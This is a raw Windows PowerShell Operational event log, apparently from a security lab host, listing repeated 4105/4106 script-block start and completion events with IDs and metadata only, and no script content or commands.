Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029529
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029523
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029501
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029499
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029498
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
